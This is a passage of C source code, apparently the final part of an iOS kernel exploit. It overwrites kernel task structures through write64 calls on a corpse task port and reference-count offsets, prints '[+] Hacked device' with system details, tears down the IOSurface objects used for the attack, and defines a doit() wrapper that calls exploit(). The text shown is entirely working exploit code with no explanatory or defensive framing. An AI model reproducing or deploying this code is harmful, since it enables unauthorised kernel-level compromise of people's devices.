        write64(task_space_table + (0x18 * corpse),0);
        write64(corpse_task_port + 4,0x200);
        write64(corpse_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT),0x200);


        printf("[+] All Done \n");

        printf("[+] Hacked device :\n");
        printf("\tsystem name = %s\n", u.sysname);
        printf("\tnode name   = %s\n", u.nodename);
        printf("\trelease     = %s\n", u.release);
        printf("\tversion     = %s\n", u.version);
        printf("\tmachine     = %s\n", u.machine);

        // cleanup
        free(kalloc_data);
        free(zone_data);

        iosurface_remove_value(zone_sfc, NULL, zone_sfc_id);
        IOServiceClose(zone_sfc);

        iosurface_remove_value(iosurface, NULL, surface_id);
        IOServiceClose(iosurface);

        deallocate_properties_buf();
        return ;
}


void doit(void)
{
        exploit();
}
